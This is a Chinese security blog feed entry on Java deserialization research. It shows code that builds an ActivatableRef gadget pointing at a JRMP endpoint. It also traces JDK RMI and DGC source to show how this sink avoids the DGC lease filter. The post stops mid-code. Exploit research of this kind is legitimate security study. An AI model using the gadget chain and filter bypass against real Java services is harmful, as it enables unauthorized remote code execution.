<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>N1ght</title>
  <icon>https://www.n1ght.cn/images/logo.png</icon>
  
  <link href="https://www.n1ght.cn/atom/index.xml" rel="self"/>
  
  <link href="https://www.n1ght.cn/"/>
  <updated>2025-12-01T10:56:58.133Z</updated>
  <id>https://www.n1ght.cn/</id>
  
  <author>
    <name>N1ght</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>一次遗憾的java反序列化挖掘</title>
    <link href="https://www.n1ght.cn/2025/12/01/%E4%B8%80%E6%AC%A1%E9%81%97%E6%86%BE%E7%9A%84java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%8C%96%E6%8E%98/"/>
    <id>https://www.n1ght.cn/2025/12/01/%E4%B8%80%E6%AC%A1%E9%81%97%E6%86%BE%E7%9A%84java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%8C%96%E6%8E%98/</id>
    <published>2025-12-01T10:00:00.000Z</published>
    <updated>2025-12-01T10:56:58.133Z</updated>
    
    <content type="html"><![CDATA[<h2 id="免责声明："><a href="#免责声明：" class="headerlink" title="免责声明："></a>免责声明：</h2><p>本文章内容仅供教育和学习使用，不得用于非法或有害目的。请在合法范围内应用网络安全知识，对任何因使用本文内容造成的损失，文章作者不承担责任。<br>文章作者博客地址为<a href="https://n1ght.cn/">https://n1ght.cn/</a></p><h2 id="正文"><a href="#正文" class="headerlink" title="正文"></a>正文</h2><p>jdk版本（目前测试）：11.0.29，1.8.0_441</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">host</span> <span class="operator">=</span> <span class="string">&quot;127.0.0.1&quot;</span>;</span><br><span class="line"><span class="type">int</span>    <span class="variable">port</span> <span class="operator">=</span> <span class="number">13999</span>;</span><br><span class="line"><span class="type">ObjID</span> <span class="variable">id2</span>  <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjID</span>(<span class="keyword">new</span> <span class="title class_">Random</span>().nextInt()); <span class="comment">// RMI registry</span></span><br><span class="line"><span class="type">TCPEndpoint</span> <span class="variable">te</span>  <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TCPEndpoint</span>(host, port);</span><br><span class="line"><span class="type">UnicastRef</span> <span class="variable">ref</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UnicastRef</span>(<span class="keyword">new</span> <span class="title class_">LiveRef</span>(id2, te, <span class="literal">false</span>));</span><br><span class="line"><span class="type">RemoteObjectInvocationHandler</span> <span class="variable">handler</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RemoteObjectInvocationHandler</span>(ref);</span><br><span class="line"><span class="type">Object</span> <span class="variable">proxy</span> <span class="operator">=</span> Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Remote.class, Activator.class&#125;, handler);</span><br><span class="line"><span class="type">ActivationID</span> <span class="variable">activationID</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ActivationID</span>((Activator) proxy);</span><br><span class="line"><span class="type">ActivatableRef</span> <span class="variable">activatableRef</span> <span class="operator">=</span>(ActivatableRef) utils.createWithoutConstructor(<span class="string">&quot;sun.rmi.server.ActivatableRef&quot;</span>);</span><br><span class="line">setFieldValue(activatableRef, <span class="string">&quot;id&quot;</span>, activationID);</span><br><span class="line"><span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> ActivatableRef.class.getDeclaredMethod(<span class="string">&quot;getRef&quot;</span>);</span><br></pre></td></tr></table></figure><p>activatableRef调用getRef的时候，会触发jrmp反序列化</p><p>但是可惜，他是private方法，不像我们之前常用的TemplatesImpl，他的方法是public</p><p>所以我们无法去用jackson和fastjson去触发，在由于因为cb链子需要getPropertyBean，我们的ref是null值会触发空指针异常报错，rome链也是同理使用不了，所以说是一次遗憾的java反序列化挖掘，但是hibernate2反序列化，他什么都能调用，所以也就强行把这个链子接上了，故有了这篇文章</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">synchronized</span> RemoteRef <span class="title function_">getRef</span><span class="params">()</span></span><br><span class="line">    <span class="keyword">throws</span> RemoteException</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> (ref == <span class="literal">null</span>) &#123;</span><br><span class="line">        ref = activate(<span class="literal">false</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> ref;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="​UnicastRef反序列化为什么不行"><a href="#​UnicastRef反序列化为什么不行" class="headerlink" title="​UnicastRef反序列化为什么不行"></a>​<code>UnicastRef</code>反序列化为什么不行</h2><p>走进<code>UnicastRef</code>​的<code>readExternal</code>会触发</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br></pre></td><td class="code"><pre><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> LiveRef <span class="title function_">read</span><span class="params">(ObjectInput var0, <span class="type">boolean</span> var1)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">        TCPEndpoint var2;</span><br><span class="line">        <span class="keyword">if</span> (var1) &#123;</span><br><span class="line">            var2 = TCPEndpoint.read(var0);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            var2 = TCPEndpoint.readHostPortFormat(var0);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">ObjID</span> <span class="variable">var3</span> <span class="operator">=</span> ObjID.read(var0);</span><br><span class="line">        <span class="type">boolean</span> <span class="variable">var4</span> <span class="operator">=</span> var0.readBoolean();</span><br><span class="line">        <span class="type">LiveRef</span> <span class="variable">var5</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">LiveRef</span>(var3, var2, <span class="literal">false</span>);</span><br><span class="line">        <span class="keyword">if</span> (var0 <span class="keyword">instanceof</span> ConnectionInputStream) &#123;</span><br><span class="line">            <span class="type">ConnectionInputStream</span> <span class="variable">var6</span> <span class="operator">=</span> (ConnectionInputStream)var0;</span><br><span class="line">            var6.saveRef(var5);</span><br><span class="line">            <span class="keyword">if</span> (var4) &#123;</span><br><span class="line">                var6.setAckNeeded();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            DGCClient.registerRefs(var2, Arrays.asList(var5));</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> var5;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="comment">//触发</span></span><br><span class="line">    <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">registerRefs</span><span class="params">(Endpoint var0, List&lt;LiveRef&gt; var1)</span> &#123;</span><br><span class="line">        EndpointEntry var2;</span><br><span class="line">        <span class="keyword">do</span> &#123;</span><br><span class="line">            var2 = DGCClient.EndpointEntry.lookup(var0);</span><br><span class="line">        &#125; <span class="keyword">while</span>(!var2.registerRefs(var1));</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"><span class="comment">//触发</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">registerRefs</span><span class="params">(List&lt;LiveRef&gt; var1)</span> &#123;</span><br><span class="line">            <span class="keyword">assert</span> !Thread.holdsLock(<span class="built_in">this</span>);</span><br><span class="line"></span><br><span class="line">            <span class="type">HashSet</span> <span class="variable">var2</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">            <span class="type">long</span> var3;</span><br><span class="line">            <span class="keyword">synchronized</span>(<span class="built_in">this</span>) &#123;</span><br><span class="line">                <span class="keyword">if</span> (<span class="built_in">this</span>.removed) &#123;</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                <span class="keyword">for</span>(LiveRef var7 : var1) &#123;</span><br><span class="line">                    <span class="keyword">assert</span> var7.getEndpoint().equals(<span class="built_in">this</span>.endpoint);</span><br><span class="line"></span><br><span class="line">                    <span class="type">RefEntry</span> <span class="variable">var8</span> <span class="operator">=</span> (RefEntry)<span class="built_in">this</span>.refTable.get(var7);</span><br><span class="line">                    <span class="keyword">if</span> (var8 == <span class="literal">null</span>) &#123;</span><br><span class="line">                        <span class="type">LiveRef</span> <span class="variable">var9</span> <span class="operator">=</span> (LiveRef)var7.clone();</span><br><span class="line">                        var8 = <span class="keyword">new</span> <span class="title class_">RefEntry</span>(var9);</span><br><span class="line">                        <span class="built_in">this</span>.refTable.put(var9, var8);</span><br><span class="line">                        <span class="keyword">if</span> (var2 == <span class="literal">null</span>) &#123;</span><br><span class="line">                            var2 = <span class="keyword">new</span> <span class="title class_">HashSet</span>(<span class="number">5</span>);</span><br><span class="line">                        &#125;</span><br><span class="line"></span><br><span class="line">                        var2.add(var8);</span><br><span class="line">                    &#125;</span><br><span class="line"></span><br><span class="line">                    var8.addInstanceToRefSet(var7);</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                <span class="keyword">if</span> (var2 == <span class="literal">null</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                var2.addAll(<span class="built_in">this</span>.invalidRefs);</span><br><span class="line">                <span class="built_in">this</span>.invalidRefs.clear();</span><br><span class="line">                var3 = DGCClient.getNextSequenceNum();</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="built_in">this</span>.makeDirtyCall(var2, var3);</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line"><span class="comment">//触发</span></span><br><span class="line">        <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">makeDirtyCall</span><span class="params">(Set&lt;RefEntry&gt; var1, <span class="type">long</span> var2)</span> &#123;</span><br><span class="line">            <span class="keyword">assert</span> !Thread.holdsLock(<span class="built_in">this</span>);</span><br><span class="line"></span><br><span class="line">            ObjID[] var4;</span><br><span class="line">            <span class="keyword">if</span> (var1 != <span class="literal">null</span>) &#123;</span><br><span class="line">                var4 = createObjIDArray(var1);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                var4 = DGCClient.emptyObjIDArray;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="type">long</span> <span class="variable">var5</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line"></span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="type">Lease</span> <span class="variable">var20</span> <span class="operator">=</span> <span class="built_in">this</span>.dgc.dirty(var4, var2, <span class="keyword">new</span> <span class="title class_">Lease</span>(DGCClient.vmid, DGCClient.leaseValue));</span><br><span class="line">.......</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//触发</span></span><br><span class="line">    <span class="keyword">public</span> Lease <span class="title function_">dirty</span><span class="params">(ObjID[] var1, <span class="type">long</span> var2, Lease var4)</span> <span class="keyword">throws</span> RemoteException &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">StreamRemoteCall</span> <span class="variable">var5</span> <span class="operator">=</span> (StreamRemoteCall)<span class="built_in">this</span>.ref.newCall(<span class="built_in">this</span>, operations, <span class="number">1</span>, -<span class="number">669196253586618813L</span>);</span><br><span class="line">            var5.setObjectInputFilter(DGCImpl_Stub::leaseFilter);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="type">ObjectOutput</span> <span class="variable">var6</span> <span class="operator">=</span> var5.getOutputStream();</span><br><span class="line">                var6.writeObject(var1);</span><br><span class="line">                var6.writeLong(var2);</span><br><span class="line">                var6.writeObject(var4);</span><br><span class="line">            &#125; <span class="keyword">catch</span> (IOException var16) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">MarshalException</span>(<span class="string">&quot;error marshalling arguments&quot;</span>, var16);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="built_in">this</span>.ref.invoke(var5);</span><br><span class="line">            <span class="type">Connection</span> <span class="variable">var7</span> <span class="operator">=</span> var5.getConnection();</span><br><span class="line"></span><br><span class="line">            Lease var22;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="type">ObjectInput</span> <span class="variable">var8</span> <span class="operator">=</span> var5.getInputStream();</span><br><span class="line">                var22 = (Lease)var8.readObject();</span><br><span class="line">            &#125; <span class="keyword">catch</span> (IOException | ClassNotFoundException | ClassCastException var17) &#123;</span><br><span class="line">                <span class="keyword">if</span> (var7 <span class="keyword">instanceof</span> TCPConnection) &#123;</span><br><span class="line">                    ((TCPConnection)var7).getChannel().free(var7, <span class="literal">false</span>);</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                var5.discardPendingRefs();</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UnmarshalException</span>(<span class="string">&quot;error unmarshalling return&quot;</span>, var17);</span><br><span class="line">            &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                <span class="built_in">this</span>.ref.done(var5);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">return</span> var22;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (RuntimeException var19) &#123;</span><br><span class="line">            <span class="keyword">throw</span> var19;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (RemoteException var20) &#123;</span><br><span class="line">            <span class="keyword">throw</span> var20;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception var21) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UnexpectedException</span>(<span class="string">&quot;undeclared checked exception&quot;</span>, var21);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>其中<code>var5.setObjectInputFilter(DGCImpl_Stub::leaseFilter);</code>这一行就是对DGC垃圾回收的限制</p><p>从而触发了</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> ObjectInputFilter.Status <span class="title function_">leaseFilter</span><span class="params">(ObjectInputFilter.FilterInfo var0)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (var0.depth() &gt; (<span class="type">long</span>)DGCCLIENT_MAX_DEPTH) &#123;</span><br><span class="line">        <span class="keyword">return</span> Status.REJECTED;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="type">Class</span> <span class="variable">var1</span> <span class="operator">=</span> var0.serialClass();</span><br><span class="line">        <span class="keyword">if</span> (var1 == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> Status.UNDECIDED;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">while</span>(var1.isArray()) &#123;</span><br><span class="line">                <span class="keyword">if</span> (var0.arrayLength() &gt;= <span class="number">0L</span> &amp;&amp; var0.arrayLength() &gt; (<span class="type">long</span>)DGCCLIENT_MAX_ARRAY_SIZE) &#123;</span><br><span class="line">                    <span class="keyword">return</span> Status.REJECTED;</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                var1 = var1.getComponentType();</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (var1.isPrimitive()) &#123;</span><br><span class="line">                <span class="keyword">return</span> Status.ALLOWED;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> var1 != UID.class &amp;&amp; var1 != VMID.class &amp;&amp; var1 != Lease.class &amp;&amp; (var1.getPackage() == <span class="literal">null</span> || !Throwable.class.isAssignableFrom(var1) || !<span class="string">&quot;java.lang&quot;</span>.equals(var1.getPackage().getName()) &amp;&amp; !<span class="string">&quot;java.rmi&quot;</span>.equals(var1.getPackage().getName())) &amp;&amp; var1 != StackTraceElement.class &amp;&amp; var1 != ArrayList.class &amp;&amp; var1 != Object.class &amp;&amp; !var1.getName().equals(<span class="string">&quot;java.util.Collections$UnmodifiableList&quot;</span>) &amp;&amp; !var1.getName().equals(<span class="string">&quot;java.util.Collections$UnmodifiableCollection&quot;</span>) &amp;&amp; !var1.getName().equals(<span class="string">&quot;java.util.Collections$UnmodifiableRandomAccessList&quot;</span>) &amp;&amp; !var1.getName().equals(<span class="string">&quot;java.util.Collections$EmptyList&quot;</span>) ? Status.REJECTED : Status.ALLOWED;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="如何绕过"><a href="#如何绕过" class="headerlink" title="如何绕过"></a>如何绕过</h2><p>而我们这个sink，没有<code>var5.setObjectInputFilter(DGCImpl_Stub::leaseFilter);</code>这个行为</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br></pre></td><td class="code"><pre><span class="line">    <span class="keyword">private</span> <span class="keyword">synchronized</span> RemoteRef <span class="title function_">getRef</span><span class="params">()</span> <span class="keyword">throws</span> RemoteException &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span>.ref == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="built_in">this</span>.ref = <span class="built_in">this</span>.activate(<span class="literal">false</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.ref;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="comment">//触发</span></span><br><span class="line">    <span class="keyword">private</span> RemoteRef <span class="title function_">activate</span><span class="params">(<span class="type">boolean</span> var1)</span> <span class="keyword">throws</span> RemoteException &#123;</span><br><span class="line">        <span class="keyword">assert</span> Thread.holdsLock(<span class="built_in">this</span>);</span><br><span class="line"></span><br><span class="line">        <span class="built_in">this</span>.ref = <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">Remote</span> <span class="variable">var2</span> <span class="operator">=</span> <span class="built_in">this</span>.id.activate(var1);</span><br><span class="line">            <span class="type">ActivatableRef</span> <span class="variable">var3</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">            <span class="keyword">if</span> (var2 <span class="keyword">instanceof</span> RemoteStub) &#123;</span><br><span class="line">                var3 = (ActivatableRef)((RemoteStub)var2).getRef();</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="type">RemoteObjectInvocationHandler</span> <span class="variable">var4</span> <span class="operator">=</span> (RemoteObjectInvocationHandler)Proxy.getInvocationHandler(var2);</span><br><span class="line">                var3 = (ActivatableRef)var4.getRef();</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="built_in">this</span>.ref = var3.ref;</span><br><span class="line">            <span class="keyword">return</span> <span class="built_in">this</span>.ref;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (ConnectException var5) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">ConnectException</span>(<span class="string">&quot;activation failed&quot;</span>, var5);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (RemoteException var6) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">ConnectIOException</span>(<span class="string">&quot;activation failed&quot;</span>, var6);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (UnknownObjectException var7) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">NoSuchObjectException</span>(<span class="string">&quot;object not registered&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (ActivationException var8) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">ActivateFailedException</span>(<span class="string">&quot;activation failed&quot;</span>, var8);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="comment">//触发</span></span><br><span class="line">    <span class="keyword">public</span> Remote <span class="title function_">activate</span><span class="params">(<span class="type">boolean</span> force)</span><span class="comment">//其中force为false</span></span><br><span class="line">        <span class="keyword">throws</span> ActivationException, UnknownObjectException, RemoteException</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            MarshalledObject&lt;? <span class="keyword">extends</span> <span class="title class_">Remote</span>&gt; mobj =</span><br><span class="line">                activator.activate(<span class="built_in">this</span>, force);</span><br><span class="line">            <span class="keyword">return</span> AccessController.doPrivileged(</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">PrivilegedExceptionAction</span>&lt;Remote&gt;() &#123;</span><br><span class="line">                    <span class="keyword">public</span> Remote <span class="title function_">run</span><span class="params">()</span> <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">                        <span class="keyword">return</span> mobj.get();</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;, NOPERMS_ACC);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (PrivilegedActionException pae) &#123;</span><br><span class="line">            <span class="type">Exception</span> <span class="variable">ex</span> <span class="operator">=</span> pae.getException();</span><br><span class="line">            <span class="keyword">if</span> (ex <span class="keyword">instanceof</span> RemoteException) &#123;</span><br><span class="line">                <span class="keyword">throw</span> (RemoteException) ex;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UnmarshalException</span>(<span class="string">&quot;activation failed&quot;</span>, ex);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"><span class="comment">//触发</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">invoke</span><span class="params">(Object proxy, Method method, Object[] args)</span></span><br><span class="line">        <span class="keyword">throws</span> Throwable</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> (! Proxy.isProxyClass(proxy.getClass())) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">&quot;not a 